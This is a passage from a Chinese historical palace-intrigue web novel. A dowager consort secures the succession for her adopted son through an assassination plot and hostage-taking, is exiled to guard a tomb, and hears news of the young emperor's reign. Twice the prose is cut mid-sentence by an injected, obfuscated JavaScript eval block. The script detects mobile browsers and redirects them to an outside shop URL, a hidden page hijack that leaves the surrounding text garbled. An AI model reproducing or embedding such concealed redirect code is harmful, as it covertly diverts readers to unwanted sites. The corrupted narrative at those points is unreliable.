李稷后宫萧条,先皇后去后再未选秀纳妃,只有两位从前的旧人,年纪不小,家世也低微,分别封了贤妃与德妃,无子女傍身,平素谨小慎微,鲜少露面。 李稷卧床后,二妃排了次序,每日侍疾,不过这天许是因为过节,乔燕到时,二妃都在,坐在外间椅子上说话。 见到乔燕,二人停了话头,俱起身见礼。 乔燕在门外时,隐约听她们提到“亳王”,于是便问:“你们在说什么?” 二人下意识对视一眼,脸色不算好,德妃噙出柔和的笑,说道:“在和贤妃妹妹说起夏装的事。先皇后去后,妾与贤妃妹妹分掌六宫事宜,这衣裳份例恰归我负责,今年苏州新贡了两种布料,十分新颖,我问贤妃妹妹喜欢哪种,回头给她做了衣裳。那料子我也让人送给太妃看看,您说不得也喜欢。” 乔燕却道:“本宫方才怎么听到‘亳王’?” 德妃脸上的笑容霎时变得勉强:“什么‘亳王’,您想是听错了罢。” 乔燕点点头,淡淡道:“圣上春秋鼎盛,此次不过小恙,切不可拿立储之事闲话。两位息妇执掌六宫,若宫里传出什么不好的话,动摇国本,本宫拿你们是问。” 乔燕乃赐字太妃,辈分高,身份尊荣,二妃哪敢顶嘴,纷纷应下。 乔燕见她们似是知道厉害了,便缓下神情,转问道:“圣上今日可好?” “圣上今日精神不错,上午召见了元辅和工部堂官商议国事,几位大人方走不久,圣上也才歇下。” 这时,内间的门打开,唐直抒在门后笑道:“圣上醒着,听到太妃娘娘的声音,请您入内说话。” 乔燕走进去,耳边听到唐直抒去到外间,请离贤妃与德妃。 门阖上了。 李稷并不像乔燕想的那样卧床,而是穿戴整齐,正坐在案后看奏章。这场大病几乎耗去了他仅剩的血肉,形销骨立,皮肤苍白,眼窝深陷,整个人瘦得触目惊心。 这幅样子,哪怕太医断定即日将驾崩,也没人觉得不对。莫怪最近群臣纷纷上疏议储,太常寺更是拟了一份宗室幼子名单,请皇帝过继立储。 乔燕思绪纷乱,站在门边,沉默不前。 倒是李稷等了片刻,放下狼毫,伸出手,“来。”乔燕这才回过神,走过去蹲下,握住了那只手。 李稷垂眸看去,忽然一笑。 “今天一早,七弟就送来长命缕要我戴上,说是他亲手所编,我还以为仅此一份,没想到是人皆有之。” 乔燕下意识看向手腕,也忍不住微微笑起来:“人皆有之倒也不见得,这长命缕乃他昨儿缠着我学的,我手上这条是教学所编,不堪入目,恐怕圣上手腕上那条是他回去后连夜编织而成,全部的祈愿也都在那里头了。” 李稷笑而不语,咳了两声,渐渐露出些许忧愁。 “七弟自幼寡言早熟,近来倒是露出些孩子的天真……只是可惜,这样的天真有些不合时宜……朕有些后悔,没有早些让他入朝观政。他如今手段心性都不够,传位给他恐怕不能服众……” 乔燕沉默片刻,说道:“我方才见过寿王长子了,听他说,他虽为长子,却是庶出,不得寿王欢心,寿王真正宠爱的乃次子李淑,早有意立其为世子,却不知为何迟迟压着没有上奏请封。” “李瑁此行归京,恐怕也知道自己已成弃子,在这里知无不言言无不尽,对乃父颇有怨怼之意。只是如此一来,我们是无法利用李瑁要挟寿王了。锦衣卫新传来密报,寿王与南直隶官员交从甚密,自我病后,更是光明正大地往来,毫不避人。我恐怕,他们就要集体上奏,请立储君了。我膝下无子,寿王乃皇考亲弟,若为储君,再合乎礼法不过。” 乔燕欲言又止。 “你有什么话,就直说罢,”李稷叹了口气,“我恐怕……没有几日了,昨日崔院判为我诊脉,断言我只剩不到半年的时间。我希望你有什么就直接说出来,你有一句不说,我心里就多有一份遗憾。” 若是从前,李稷说这些带有调戏色彩的的话,乔燕多少都要露出些许冷嘲讥笑,但今日她罕见的没有作声,只微微皱着眉。 李稷有些失望,过了片刻,轻声问:“若我早逝,你可会为我难过?” 乔燕心头一跳,说不清是什么感受,浑浑噩噩地喝道:“不要胡说!” 李稷果然没有再说话,只将她手攥得更紧。 乔燕蹙眉看他,忍耐许久,方平复好心情,低声说道:“圣上如果恕我僭越之罪,可以去床上歇一会,这些奏章我帮你大致归类处理,等一会拣要紧的你先看了,不要紧的推后处理不迟。” “我不介意,有那不要紧的,太妃娘娘尽可替朕批红,”李稷顿了顿,不知想到什么,笑起来,“昔日皇考临终前取消司礼监的批红,就是为了收拢皇权,不想不孝子竟转手让给你,他老人家若是泉下有知,不知会不会气到。” “圣上又说浑话了,我如何敢握宝章批红,”乔燕叹气,不在这上面多说,“你去休息吧。” 李稷点点头,起身走到榻边合衣躺下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乔燕起身跪地,李稷不愿松开手,她便就这样由他握着,跪在床边脚踏上。 “淮党根基在南直隶,北直隶这边仅有江知礼一派,正所谓擒贼擒王,只要制住江知礼,北京的淮党便是一团散沙,届时封亳王殿下为储君,等南直隶那边得信,已是尘埃落定,再想行事,便名不正言不顺了。而等京师朝廷稳固,何愁不能肃清淮党。” “说得容易,朕也想擒江知礼,可是师出无名。” “派人埋伏在他上朝的必经之路,杀之。” 李稷凝眉不语。 “圣上,非常之时,当行非常之事,”乔燕坚定地看着他,“人君之养臣,如养恶木,其枝叶有害于宫室者,斤斧斫之。” 李稷一时还是不言。乔燕知道,这不是一件小事,对于受正统皇帝之术长大的李稷而言,用计谋除去政敌乃寻常,而暗杀就显得不入流了,他犹豫也属正常。 一咬牙,乔燕下了最后的杀手锏:“圣上,还记得先帝临终时,教给您的最后一件事吗?他可以借一个亲生儿子的手,杀另一个血亲骨肉,您有什么不可以呢?” 李稷一震,心头大恸,脸色苍白,难以置信地看着她。 在他面前,她永远以理智、冷酷示人,可她的心计,从未将他的血肉之躯考虑进去。她总能轻而易举一针见血,全然不顾他已是伤痕累累。 五月廿二,皇帝以商议立储之事为由,召大臣入宫。 左阙门到会极门之间有一段狭长逼仄的宫道,前朝曾有酷吏专擅,就是在这里被暗杀而死,李稷也将这里选作江知礼的魂归之地,在两侧宫墙上方埋伏了弓箭好手。 左都御史江知礼对此浑然不知,乘着小轿入宫。只是不知道是否是天命如此,轿子在经过左阙门后,抬轿的太监突然绊了一脚,轿子倾斜,刹那时,一只飞箭“笃”的一声射进轿梁中,江知礼掀开眼皮时,正好看到箭羽震动。 此计败露,江知礼再不肯出府,倒是每日痛骂皇帝不仁的奏本一封不落。李稷病入膏肓,每日昏睡无常,鲜有清醒的时候。 可到了这时,国储仍然未定。 朝廷人心惶惶,或暗里奔走,或谢门不出,或慷慨激昂地请立国储,于情于理,名声清正、有明理之能的先帝亲弟寿王确实乃国储的不二人选,在淮党的推波助澜下,许多持圣人之教的大臣纷纷站队。 一时间,寿王的呼声之高,如汤镬沸鼎,不可止也。只剩内阁次辅乔广川为首的少数大臣还站在亳王李琢的身后,可势去如山倒,颓势已定。 屋漏偏逢连夜雨,五月底,东南沿海倭寇来犯。 福建水师本来正奉朝廷之命剿匪,这些海匪狡猾异常,神出鬼没,艰难的剿匪已经持续了快三个月的时间,仍不见成效,而在这时,倭寇打了福建一个猝不及防,水师总督匆忙组织军队回防,海盗又在这时出现在后方,与倭寇两相夹击,大齐水师大败而归,沿海百姓陷入水深火热。 这天,李稷从昏睡中醒来,听完乔燕读的军文,闭目喘了几声,“先前海盗窃物砸船,有碍开海,朕派了冯子规去东部沿海一带督促开海事宜,如今那里打起来了,他一个文官想必也起不了什么作用,替朕拟旨,召他回京吧。” 说完,有些讨好地看着乔燕。 乔燕不知道他是不是为了自己才下这样的旨意,沉默片刻,却道:“朝政滞乱,边地想必也是人心惶惶,这时将钦差召回,于军心、民心俱不利。冯侍郎领户部开海之职责,督促开海事宜乃分内之事,就让他……继续留在那里吧。” 李稷神情怔忡。 乔燕垂眼:“圣上为何这样看我?” “……太妃娘娘,你当真有心吗?” 乔燕睫毛轻颤,过了片刻,若无其事地转开话题:“今夜臣妾来,还为一事——我希望圣上能给我调动锦衣卫的权力。” “你还没放弃暗杀江知礼吗?” 乔燕不语,缓缓抬起眼,目光沉沉,轻叹一声:“太迟了,我要做的,是更为人不齿之事。我知道圣上不愿背负骂名,所有结果由我一力承担,不论事成与否,都请圣上发一道圣旨,斥我太阿倒持之罪,以平天下物议。” 说完,她跪地叩首,久久不起。 看她如此郑重其事,李稷不由心中大乱,“你到底要……” “请圣上准我,我定作轻风,助亳王殿下扶摇而上,不让政权旁落。” 62. 遗憾 六月初一,淫雨霏霏。 一中年男子身穿道袍,头戴纶巾,低调地叩响江府侧门。阍人把门拉开一条缝,看清访客面容,松一口气,提起笑脸。 “宋大人,我家老爷久等了。” 来人乃左副督御史宋瑜,是江知礼一手提拔的属官,更与江知礼以师生相称,关系十分亲密。 这些天来,请立寿王为储的呼声越来越大,胜利近在咫尺,却不知为何宋瑜反常的脸色有些苍白,着实算不上好看。 他匆匆踏入江府,江府下人俱都识得他,是以一路畅通无阻。等到了书房外,得把守的家丁侍卫入内禀报,宋瑜才深吸一口气,拍了拍脸,使神色务必看不出什么大碍,方噙着笑走了进去。 他的这位老师太过信任他,果然什么都没发现,亲热地接待了他,等议完今日朝事,宋瑜话题一转,说道:“昨日也不知怎么做了个梦,梦到京师地动,家中照壁从中间一分为二,十分不安。是今乃多事之秋,学生在京郊万年县有一处私宅,鲜有人知,想送家眷去那里避一避。太师母年事已高,要不要去万年县暂住一段时间?一来避祸,二来,学生的夫人也在那里,可以照顾老夫人。” 江知礼欣然答应,为免多生事端,当天就命仆从收拾行囊,于翌日一早遣人送老母出城。 江知礼乃孝子,虽有心亲自送行,但思及那日在宫里遇到的杀祸,还是按捺不发,将此事全权交给了宋瑜负责。 六月初三,惠禧太妃发来一封令旨,宣江督御史入宫觐见,随旨而来的还有一只江知礼老母亲的镯子。 江知礼捏着那只镯子,心头冰冷一片,久久无言,是日未时,终于出得江府,入宫陛见。 六月初五,皇帝秘会内阁次辅乔广川,命其拟诏,册立亳王李琢为皇太弟,于次日布告天下,咸使闻之。 诏书下的第二天,停了许久的朝会再次召开。只是龙椅空悬,一旁摆着新的椅子,椅背与扶手都雕着四爪金龙,皇太弟端坐其上,代兄监国。至于东梢间,则有惠禧太妃垂帘听政。 京师百官是第一批听到诏书的人,无不喧哗,尤其是淮党,就等着江知礼牵头,要联合起来“抗旨”。 因圣旨均由内阁草拟,为免内阁专权,本朝六科有“封驳”之权,若百官齐心,抗旨并非大事。 可万万没想到的是,江知礼竟在此时上疏,告老请辞,太弟准奏。而同样在淮党里颇有威望的宋瑜补缺,擢左都御史,向皇太弟俯首称臣谢恩。 堂下百官无不面面相觑,不明白短短几日到底发生了什么事,失去两位党首,竟无人敢露锋芒,就这样,一场山雨欲来的风波,居然就这样诡异地消弭了。 等两日后,诏书传到南直隶,正如乔燕曾说,已是尘埃落定。 “咳咳,咳咳咳……” 宫人捧着痰盂入内,过了会又捧出来,经过乔燕身前时,乔燕闻到一股铁腥味。 恍惚间,她仿佛回到了五年前,尚是文景帝的慜帝临终之景,也是这样,她坐在外间,听着内间腐朽的咳嗽声,宫人来来往往,个个眉头紧锁,沉重肃穆,每个人都捏着嗓子说话,生怕大了一点就戳破天似的。 “娘娘,圣上请您入内说话。” 乔燕回过神,看到唐直抒躬着背站在自己跟前。 旁边的贤妃与德妃在唐直抒出来时就纷纷站了起来,却只见唐直抒与乔燕说话,不由失望不已。 说不清为什么,乔燕下意识侧首,看到贤妃微垂着头,面色沉静,而德妃在看自己,眼里有恨意一闪而逝,当乔燕看去时,德妃脸上露出了几分慌乱。 想了想,乔燕婉言道:“我儿新为储君,圣上召见,想必是为了家国大事,两位息妇在此久候疲累,不如去偏殿歇息一二。” 唐直抒也道:“是,圣上正是为皇太弟殿下召见太妃娘娘。” 不论心里如何想,二妃举止得宜地退了出去,乔燕看了眼不远处运笔如飞的起居舍人,叹了口气,低声问:“内间还有人吗?” “崔院判也在。” 乔燕脚步微顿,点点头,走了进去。 内间窗户半开,去了沉疴之气,光亮一片。乔燕方在床边矮几落座,崔院判就走上前,行礼道:“娘娘,请让微臣为您诊脉。” 之前乔燕在繁园安胎就是崔院判出的手,乔燕知道他是李稷的人,于是不语,只伸出手腕。崔院判隔着帕子搭指其上,过了片刻,退开一步,对着床帐拱手道:“娘娘身体平安。” 一只苍白枯槁的手伸出床帐,慢慢摆了摆,崔院判行礼告退。 室内一时只留下了乔燕一人,第一句话便是:“我没有怀孕,圣上可以放心了。” 这句话一出口就后悔了,幸好李稷没有介意,用伸出帐外的手,轻轻招了招。 乔燕心头一酸,走过去,握住那只手。 “对不起,我,我不是有意的。” “我知道……你在面对我时,总竖着刺,咳咳,扶我起来……”李稷低声道。 乔燕挂起床帐,一手托住李稷的后颈,向上使力。手掌只摸到一把骨头,他又瘦又轻,轻到乔燕一个人就可以托他坐起来。 他的眼窝深深陷下去,眼睛格外幽邃,不复前几日的浑浊,反而如枯木逢春,十分清明。 然而看到这样的一双眼,乔燕却不见喜,心沉到谷底。 “宋弼德都跟我说了……你做的事,”李稷轻轻说着,说一句,停下喘口气,“你挟持宋瑜妻、子,逼他诱江知礼高堂出城……虽兵不血刃,但……此乃诡计,计邪不正,不容于朝堂,亦不容于朕……跪下!” “是。” 乔燕言听计从,双膝着地,垂颈而跪。 年轻的皇帝也垂颈看她,默默看了许久,方一字一字地说道:“你又没有灭口,此计怕很快就要败露,若天下人都知道七弟是如此……继位,恐不太平……咳咳……” 李稷慢慢地,慢慢地,从枕头下取出一卷黄绢。 “前日,你要朕斥你太阿倒持之罪,诏书在此,朕予你……先定朝政,待你觉得时间合适的时候……再拿出来,平物议……” “是。” 乔燕平举双手,很快,圣旨像一只鸟儿一样,温柔地落在了她的掌心。 李稷没有收回手,而是忽然用力地握住了她的手腕。 “还记得,朕方登极,曾应许你一件事……当时你说……你还记得吗?” “嗯。我请求圣上,在冯矩流放前见了他一面。” 李琢眼里划过失望,嘴唇蠕动,最后只长叹一口气。 “……罢了……乔氏,朕,我问你……你……” 他用尽全部力气想问出来的话,终究因怯懦没能出口,昔年皇考评价的对,他优柔有余,魄力不足。 一鼓作气,再而衰,三而竭,有些话第一时间没能问出口,就再攒不起勇气了。李稷又沮丧,又不甘,忍不住喃喃道:“我从未强迫过你,就连那时候,在通天塔,也是你自愿的……” 乔燕总算没沉默下去,轻快地道:“是。” 李稷释然一笑。 许久,许久,他手上力气一松,无力地垂下,看着头顶福字床帐,没头没脑地说道:“要是再多几年,未尝不能得……可惜,天不予寿……” 他们之间,时间太短。 相见是错,心动是错,这一路走来,竟是步步皆错。只是好在,他没能困她多久,就能放她自由了。 如果……早点遇见就好了。如果,多一些时间就好了…… “你出去吧……让阁臣来……朕有话……” 启正五年六月十二,帝崩,享年廿九,未至而立,不寿。 六月十三丑时一刻,东宫端本殿。 李琢腿打着软,在宫女的搀扶下走出内间,看到养母惠禧太妃已经到来,正坐在外间的圈椅上。太妃穿着白色衰服,不施粉黛,嘴唇惨淡,看起来有些憔悴。 李琢还注意到,太妃的手边放着宫人的奉的茶,茶水未动,但已经没了热气,也不知在这里等了多久。 “母妃什么时候来的?为何不让人把我叫醒。”李琢一开口,才察觉嗓子肿了,又疼又痒,说话有如刀磨。 听到人声,乔燕怔然抬头,双目瞳孔略散,原是在走神。 “听人说你哭得厥了过去,我来看看你。嗓子怎么了?请医官来看过了吗?” “不用劳师动众,恐怕是夜里吹了风,着凉了,不碍事。” 很平常的对答,却让乔燕沉默了下去。乔燕意识到,李琢尚未能从那个默默无闻的皇子转变过身份,又知时不我待,不能让他徐徐适应了,于是敛了笑,换上严厉的目光,“怎么不碍事!殿下,你如今不是闲散亲王了,你是国储,下一任天子,你的身体就是国本,要爱惜自己。” 李琢顿了顿,讷讷应是。 他自幼在人情冷暖中长大,爹爹不疼,宫人多有怠慢,后来记在乔燕名下,乔燕作主发作了他身边欺主的太监和宫女,另选了一批,日子这才好过起来。这些太监宫女本来被选到七皇子身边,只知道要跟亲王去藩地过清闲日子,没什么野心,不想主子竟一步登天,实属意外之喜,人也跟着机灵起来。此刻,听到两个主子的对话,太监吴汲立马领命请太医去了。 储君尚未发话,吴汲此举不无讨好惠禧太妃的意思。只是李琢习惯由别人拿主意,并未意识到不对,乔燕却忍不住皱起了眉,重重叹了口气。 宫人自是趋炎附势,亟需敲打整治。但如果国君本人立不起来,到底是徒劳之功。 任重而道远啊。 那边吴汲已经跑出去了,李琢还在原地踌躇,低声道:“母妃,延医之事还是稍后吧。我那时心情激荡,晕了过去,您也在这里,二哥那里怕是没人主持大局。” 实际上,李琢这个时候有点六神无主,几天前他还是个胸无大志的亲王,突逢皇兄召见,要把家国交给他,他除了茫然只有茫然。这几天,太妃和皇兄天天押着他批红,恨不得他一下子可以顶天立地,撑起整个天下。 他还在因朝政而头昏脑涨,宛如傀儡任人摆布,机械地推一下走一步,这时候二哥却驾崩了。这半天里,他浑浑噩噩,过得十分没有实感,直到现在,站在太妃跟前,还恍如梦中似的。 乔燕将他的神情尽收眼底,心底一软:这还是个孩子啊。遂放缓语气,对他招了招手:“来陪母妃说会话。你昏睡了两个时辰,已经是丑时,先帝移殡之事我已安排妥当,梓宫就设在主敬殿。等医官给你看过之后,我才能放心。” 她温和的神情大大和缓了李琢的心情,少年走到另一边圈椅坐下,宜婵给二人奉上热茶,带着殿内所有宫人一齐退了出去。 李琢喝了口热茶,微烫的水从肿痛的喉咙里流过,顿时一阵松快。 耳边钟鸣不绝,这三万杵钟声将持续数日。钟声涤荡,隐约间耳边似有佛音梵唱,肃穆庄严,哀婉不绝。 乔燕闭目凝神听了一会儿,方才还有几分焦躁的心情慢慢平静下来。放下茶杯,置双手于膝上,她注视着眼前的养子。 “恒奴,等会出了端本宫,你知道要做什么吗?” 李琢眨了眨澄澈的眼,安静地听着,他知道太妃这是要教他。 “你要先召见司礼监掌印唐直抒,以储君的身份下发一道令旨:凡一应事务,俱照旧制行,各衙门官员宜尽心办事,不许怠玩。稳住各衙门庶务,以防骚乱。等明天,文武百官哭临后,将赴东宫呈第一份《劝进表》,请你继位,依礼制,你需要拒绝,等三劝三让后,方可答应。” 李琢点头。 乔燕摸了摸他的后脑勺,说道:“不用担心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116345|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让唐直抒这两天跟着你,一应礼仪他会提醒你。” “你的两位长史,束阳和宋则,俱是有识之士,先帝将他们给你时恐怕已预料到今日,若是妥善安排,会是继位后的一大助力。” 李琢道:“请母妃教我。二哥临终前跟我说,我继位仓促,恐怕不能立即上手朝事,母妃从前随侍皇考,听政数载,兼之慧敏,可效仿前朝李太后,垂帘助我。” 乔燕犹豫一瞬,说道:“我本不该干涉官员任免,但既然先帝遗训在前,你又问了,母妃自言无不尽。王府长史官高五品,入朝观政不能低了去。都察院左副督御史空悬,宋则可升任此职,为殿下耳目口舌,至于束阳,此人是束继文长孙,曾在翰林院砥砺过,性情耿直,资历颇丰,可进内阁。” “谢母妃指教。” “指教谈不上,鄙陋浅言,能否施用,还需殿下日后与内阁商议。至于寿王父子,殿下可想好怎么处置?” 李琢思考片刻,认真道:“新旧交接,正乃风雨飘摇,不宜再生动荡,寿王并未做出逆反之举,不如暂且姑息。待日后朝局稳固,再以‘藩王不得与朝臣交往’祖训为由发作。” 他想得全面,乔燕一时无话,赞许地点点头。 方才乔燕说了许多话,停下后只觉口干,于是捧起茶杯喝了一口润嗓,眼皮下垂,看着几面的大理石花纹,神情有几分怅然。 “我做了错事,恐怕不能久留。你的身边有束阳、宋则帮你,恒奴,母妃知道,你是个明事理、有主见的孩子,不用多久,你就可以自己处理政事了。只是,人站在高处,太容易迷失本心,唯有怀谦卑之心,才能看到百姓。你要记住,无论何时,都要持身以正,御下以仁,览古今之变,怀黎庶之忧。效法祖宗成宪,砥砺圣德,使礼乐彰而教化行,则王道荡荡,可致太平。殿下,你会是个贤明之君。” 彼时乔燕没有细说,李琢没能弄明白她说的“做错事”是什么,然而很快,他就从官员那里知道了。 事情的起因是六月十七,清晨于几筵殿哭临结束,礼部尚书为首的百官前往东宫第二次上表“劝进”。 比起第一次,此次再呈之表,恳切更甚,李琢当众阅完,掩面而泣,表示:“棠棣倾覆,昊天罔极。寡人方食不知味,寝不遑安,茕茕在疚,若涉渊冰。天下之事,至重至艰。寡人尤在冲年,德薄能鲜。卿等当体寡人拳拳哀慕之诚,鉴寡人战战兢兢之惧。万望暂缓大礼,容寡人尽臣弟之余哀,亦使卿等详思熟虑,另择贤良,岂不两全?所请仍难遽允。卿等勿复再请。”又命有司抄录,张贴于皇城前。 就在百官例行完劝进之举,纷纷却行时,忽有一位林姓御史越众而出:“臣有本奏!” 这般节外生枝,却不在商议好的流程内,李琢下意识转头看了眼唐直抒,唐直抒面露讶色,朝他微微摇头,李琢便道:“寡人未曾御极,卿所陈之事若不急,不妨过些时日,等国祚安定,再奏不迟。” 不想那林御史竟面露悲愤之色,指天恨道:“微臣只怕此面之后,就再无得见殿下之日了!只因微臣要劾之人,乃殿下养母,在前朝后宫中跋扈作恶的惠禧太妃!” 一石激起千层浪。百官之中,有胆小怕事者加快步伐离去,然留下者众,私语纷纷,或迷惑,或讶然,或冷眼旁观,或若有所思。 林御史还在道:“太妃在前不久,竟没有任何缘由,就让锦衣卫私下捉拿朝廷命官的亲眷,以要挟…… 李琢心头一沉,这时候却不看旁人,打断道:“那便请这位御史将劾本呈上,寡人还要去为皇兄抄写经文,容后再看。” 于海听到消息,吓得出了一身冷汗,顾不得体面,一路小跑回太妃住的享纯宫,宜婵听过之后,亦是白了脸色,作主屏退殿内奴婢,领着于海入内。 乔燕听了整个经过,面无殊色,反而在听到李琢当机立断地喝断林御史的话,遣散众臣时,露出些许欣慰:“之前就藩时,我就察觉,咱们储君殿下实则是个遇强则强,临危不乱之人,内心强大,不逊天家风范。如此一来,在大儒和臣子的教导下,想必很快能成长起来,无需我再担心了。” 于海“皇帝不急太监急”,擦汗苦笑:“火都烧到身上了,娘娘诶,您怎么还笑得出来啊!” 乔燕淡道:“林御史所劾不假,当时事态紧急,我只能出此下策,行事并不周全,到处是人证物证,无可辩驳。被人弹劾是迟早的事,只是没想到,竟然这么早,连新帝登基都等不及了,看来淮党那群人,真是恨我恨得欲除之而后快了。” “只是这件事,不能出自言官之口,否则将陷新帝于大不义。我做的荒唐事,万般有罪,一人认下便是。” 当天下午,居于后宫的惠禧太妃下了一封罪己诏,坦言自己“行事阴狠,窃弄权柄,有失妇德,有违天道”,并自请去守皇陵。 发完这道罪己诏后,乔燕私下又遣人将先帝遗留给她的斥罪诏书送给李琢,要他将之公布于众。 只有这样,李琢才能与她撇清关系,立足朝廷。 申时初,乔燕估摸着李琢应当已经拿到遗旨,且明白她的用意,于是除尽钗环,只着中衣,外披麻服,跪于殿中候旨。 然而左等右等,这旨怎么也候不下来,就在她实在忍不住,想要差人去问一问时,李琢身边的大太监吴汲总算出现在宫门外,没有提及那道遗旨,只带来李琢的口谕:守皇陵一事准奏,只是几座皇陵都在凤阳府,甚远,京郊有座天寿山,乃成祖埋骨之处,殿下有意在山上为成祖立一衣冠冢,着惠禧太妃去那里守陵尽孝。 吴汲又悄悄道:“天寿山脚下有个荒废的常静园,占地甚广,前朝曾做别宫使用,咱们殿下从私库里拨了四万两银子,已经着人去修缮了,又遣了百十位宫人提前去扫洒,娘娘尽管享福去,待日后物议平息,此事翻篇了,再接您回来。” 63. 回宫 暑尽冬来,转眼间,又到了年关。 腊月望日,常静园里覆着一地白雪,跟来伺候的奴婢原有百十人,后被乔燕送走大半,只留了用惯的,于是雪也扫不尽,只有通往主院清了一条道出来。 道边横着几簇光秃秃的树枝,叶片落光,却还有红艳艳的果子缀在枝头。两只山雀拖着长长尾羽落在上面,一只啄食红果,另一只歪头整理羽毛,蓦地,都扑楞楞飞起来,惊落簌簌的积雪。 宫女姜满雀跃地跑入院门。 她过完这个年就年满十五,可以梳头了,但因为生着一张圆脸,个子也不高,看起来就像刚入宫的小姑娘一样。 她头上的双螺髻,还是早晨惠禧太妃闲来无事,亲手梳的,像猫儿耳朵一样俏皮。 “娘娘!娘娘!宫里来人啦,马车到山脚下时我们就看到了,于公公和宜婵姑姑正候在外头台阶上,着奴婢进来跟您说一声。娘娘,咱们终于可以回宫了!” 乔燕坐在窗边榻上摆弄前不久乔四郎送来的西洋棋玩,闻言连头都没有抬,对回宫一事显得并不热衷。 “昨天你们几个不还约着爬柿子树,怎么今儿又惦记着回宫了?回去宫里头,可没有柿子树给你们爬,女官们看到,打一顿板子都是轻的。” “这里确实好玩,但是太冷了,”姜满蹲下来,添了新炭进火盆里,“娘娘风寒未愈,眼见着一天比一天清瘦,还是回宫里去好,宫里烧地龙,一回去,您这病就好啦!” 乔燕一笑,未再作答。 没多久,乔燕拎着一只白色的骑士棋子,举棋不定间,屋外响起许多脚步声,“娘娘,唐公公来了。”宜蝉的声音响起。 本以为来的最多是吴汲,不想竟劳动了唐直抒,乔燕亲自起身相迎,“快请进。” 刹那间,一群人涌入屋门,围在正中的太监颇为年迈,正乃先帝跟前的红人唐直抒。唐直抒年岁本就不小,先帝去后更是头发花白,老态毕显,本自请为先帝守陵,却不想先帝遗诏对他特有安排,新帝登基后,奉遗诏送他出宫荣养,主仆厚宜至此。 宜蝉就跟在唐直抒身边,面带愁容,乔燕看向她时,她才一震,挤出一个笑。 姜满什么都没察觉,兴高采烈地问:“姑姑,我们什么时候收拾东西?” 宜婵欲言又止。 人群里,思嘉道:“咱们不回去了。” 满室一静。 姜满喃喃:“为什么?咱们娘娘又没犯事,凭什么要在此处幽禁。” 唐直抒上前一步,笑道:“娘娘,此处依山傍水,风景优美,处处不比宫城自在?是个荣养的好地方。这不,奴婢自请前来,也磨得新圣上好些时日,才得圣恩呢。” 乔燕与他对视片刻,笑了笑,道:“这里旁的不多,就是空屋子多,公公看上哪个,挑去便是。” 唐直抒也不客气,果真挑了个向阳的院舍。 等把行李安置妥当,唐直抒才又去寻乔燕谢恩。此时没了乌泱泱的宫人,唐直抒坐在矮凳上,把一双冻得发青的手放在熏笼上烘烤,低声说起京中之事。 “娘娘对京里的事有哪些了解?” 乔燕摇摇头:“起初恒奴常书信于我,甚至将朝政拿来问我,我岂敢专权,一些无关紧要之事尽答了,其他的要他回去问内阁阁臣和少师。后来有一天,吴汲亲自带话,道仍有御史弹劾我涉政,圣上初登基,尽力与臣子斡旋,还是落了下风,于是不宜再书信于我,自那之后,我对京中之事再无所知。” 唐直抒沉吟片刻,搓着手背的鸡皮,缓缓道来:“那吴公公说的也不错,新圣上登基后,在朝堂上几无根基,很是艰难,要看臣子脸色行事,倒是从前跟着他在亳王府的几位擢了阶。两位长史加封太子少傅和太子少师之衔,每日讲书,行帝师之责,那位宋长史进了御史台,至于束长史,圣上有意将他塞进内阁中,却遭到温元辅的反对,最后只能不了了之,如今在礼部任侍郎一职,主持修订历法,颇见才干,历练两年,再入内阁。” 乔燕听得仔细,唐直抒知道她在这里与世隔绝,与幽禁几无不同,无聊惯了,心下恻然,说得更细了些。 “圣上勤奋好学,每日都开经筵,讲学的便是束阳和宋则,阁老们若有时间或得召见,亦会为圣上讲学。此外,圣上还开了午朝和晚朝,常召阁老辅政,每日里宵衣旰食,前不久,元辅因太过劳累,请病假燕居在家,圣上亲自带着机要奏本,前去探病。翌日元辅病就好了。” “……”乔燕听得哭笑不得,“恒奴这是心里存了窝囊气,故意劳动元辅呢,却不知元辅老人家做了什么惹到他了。” 说完,便想到方才唐直抒提过的元辅温却疾反对束阳入内阁之事,“莫非就是为束阳入阁……” 唐直抒跟着露出笑容,“奴婢岂敢揣测君心。不过小圣上确实说过,阁臣们年纪大了,如果精力不济,可以找两个年轻力壮的换他们回家喘口气。当然,此为宫人传出的笑谈,最后不了了之。” 乔燕琢磨着他方才的话,又问:“恒奴如今读到什么书了?” “这……奴婢就真不知道了,约莫是《大学》之类的。” 因前朝亲王作乱,本朝提防宗亲甚于防贼,寻常皇子只能受文书房的太监开蒙,读过论语,便算有学问,可以出宫开府了。恒奴非长非嫡,便是如此养大的,听说从前董玉莲还给他上过课,只是这些太监虽然也算饱读诗书,但眼界不够,非成帝王之材。 想到这里,乔燕不由感慨道:“两位长史虽然年轻,却都是有识之士,恒奴如此勤学好问,日后定能做个好皇帝,乃社稷之幸。” 唐直抒又道:“今年中秋,圣上大赦天下,改年号为咸兴。” 乔燕将“咸兴”念了两边,赞道:“是个上进隆兴之号。” 唐直抒跟着赞完,方吞吞吐吐地道:“还有一事……” 乔燕便知,正题来了,“直说便是。” “先帝遗旨,本该封太妃您为‘惠禧圣太后’,但您先前那罪己诏一出,这封号里的‘圣’字便不合宜了,礼部那里拟了诰册,欲封您为‘惠禧太后’,可是临到头来,咱们新圣上又不忍落下生母,想要将孙太妃也封为太后。可是他早已在玉牒上记在您的名下了,这如何使得……” 《皇齐祖训》有言,一朝太后最多有二,一为嫡母,一为生母。嫡母即先帝的正宫皇后,礼法上最为尊崇,是为“母后皇太后”,生母则为“圣母皇太后”。正所谓“嫡庶有别而孝道统之”。但今上的情况特殊,他不仅有嫡母生母,还多了个养母。 